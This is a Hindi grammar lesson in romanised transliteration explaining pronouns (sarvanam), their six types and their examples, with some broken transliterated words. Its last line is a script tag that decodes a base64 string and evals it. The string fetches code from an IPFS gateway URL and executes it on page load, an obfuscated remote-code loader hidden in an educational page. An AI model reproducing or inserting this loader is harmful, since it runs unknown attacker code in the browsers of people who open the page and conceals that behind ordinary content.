सर्वनाम
sanjna ke sthan par prayukt hone vale shabd ko sarvanam kahate haian. sanjna ki punarukti n karane ke lie sarvanam ka prayog kiya jata hai. jaise - maian, too, tum, ap, vah, ve adi.
- sarvanam sarthak shabdoan ke ath bhedoan mean ek bhed hai.
- vyakaran mean sarvanam ek vikari shabd hai.
sarvanam ke bhed
sarvanam ke chhah prakar ke bhed haian-
- purushavachak sarvanam.
- nishchayavachak sarvanam.
- anishchayavachak sarvanam.
- sanbandhavachak sarvanam.
- prashnavachak sarvanam.
- nijavachak sarvanam.
purushavachak sarvanam
jis sarvanam ka prayog vakta ya lekhak dvara svayan apane lie athava kisi any ke lie kiya jata hai, vah 'purushavachak sarvanam' kahalata hai. purushavachak sarvanam tin prakar ke hote haian-
- uttam purushavachak sarvanam- jis sarvanam ka prayog bolane vala svayan ke lie karata hai, use uttam purushavachak sarvanam kaha jata haian. jaise - maian, ham, mujhe, hamara adi.
- madhyam purushavachak sarvanam- jis sarvanam ka prayog bolane vala shrota ke lie kare, use madhyam purushavachak sarvanam kahate haian. jaise - too, tum, tujhe, tumhara adi.
- any purushavachak sarvanam- jis sarvanam ka prayog bolane vala shrota ke atirikt kisi any purush ke lie kare, use any purushavachak sarvanam kahate haian. jaise- vah, ve, usane, yah, ye, isane, adi.
nishchayavachak sarvanam
jo (shabd)sarvanam kisi vyakti, vastu adi ki or nishchayapoorvak sanket karean ve nishchayavachak sarvanam kahalate haian. jaise- ‘yah’, ‘vah’, ‘ve’ sarvanam shabd kisi vishesh vyakti ka nishchayapoorvak bodh kara rahe haian, atah ye nishchayavachak sarvanam hai.
- udaharan
- yah pustak soni ki hai.
- ye pustakean rani ki haian.
- vah s dak par kaun a raha hai.
- ve s dak par kaun a rahe haian.
anishchayavachak sarvanam
jin sarvanam shabdoan ke dvara kisi nishchit vyakti athava vastu ka bodh n ho ve anishchayavachak sarvanam kahalate haian. jaise- ‘koee’ aur ‘kuchh’ adi sarvanam shabd. inase kisi vishesh vyakti athava vastu ka nishchay nahian ho raha hai. atah aise shabd anishchayavachak sarvanam kahalate haian.
- udaharan
- dvar par koee kh da hai.
- kuchh patr dekh lie ge haian aur kuchh dekhane haian.
sanbandhavachak sarvanam
paraspar sabandh batalane ke lie jin sarvanamoan ka prayog hota hai unhean sanbandhavachak sarvanam kahate haian. jaise- ‘jo’, ‘vah’, ‘jisaki’, ‘usaki’, ‘jaisa’, ‘vaisa’ adi.
- udaharan
- jo soyega, so khoyega; jo jagega, so pavega.
- jaisi karani, taisi par utarani.
prashnavachak sarvanam
jo sarvanam sanjna shabdoan ke sthan par bhi ate hai aur vaky ko prashnavachak bhi banate haian, ve prashnavachak sarvanam kahalate haian. jaise- kya, kaun adi.
- udaharan
- tumhare ghar kaun aya hai?
- dilli se kya mangana hai?
nijavachak sarvanam
jahaan svayan ke lie ‘ap’, ‘apana’ athava ‘apane’, ‘ap’ shabd ka prayog ho vahaan nijavachak sarvanam hota hai. inamean ‘apana’ aur ‘ap’ shabd uttam, purush madhyam purush aur any purush ke (svayan ka) apane ap ka jnan kara rahe shabd hean jinhean nijavachak sarvanam kahate haian.
vishesh
jahaan ‘ap’ shabd ka prayog shrota ke lie ho vahaan yah adar-soochak madhyam purush hota hai aur jahaan ‘ap’ shabd ka prayog apane lie ho vahaan nijavachak hota hai.
- udaharan
- ram apane dada ko samajhata hai.
- shyama ap hi dilli chali gee.
- radha apani saheli ke ghar gee hai.
- sita ne apana makan bech diya hai.
sarvanam shabdoan ke vishesh prayog
- ap, ve, ye, ham, tum shabd bahuvachan ke roop mean haian, kintu adar prakat karane ke lie inaka prayog ek vyakti ke lie bhi kiya jata hai.
- ‘ap’ shabd svayan ke arth mean bhi prayukt ho jata hai. jaise- maian yah kary ap hi kar looanga.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>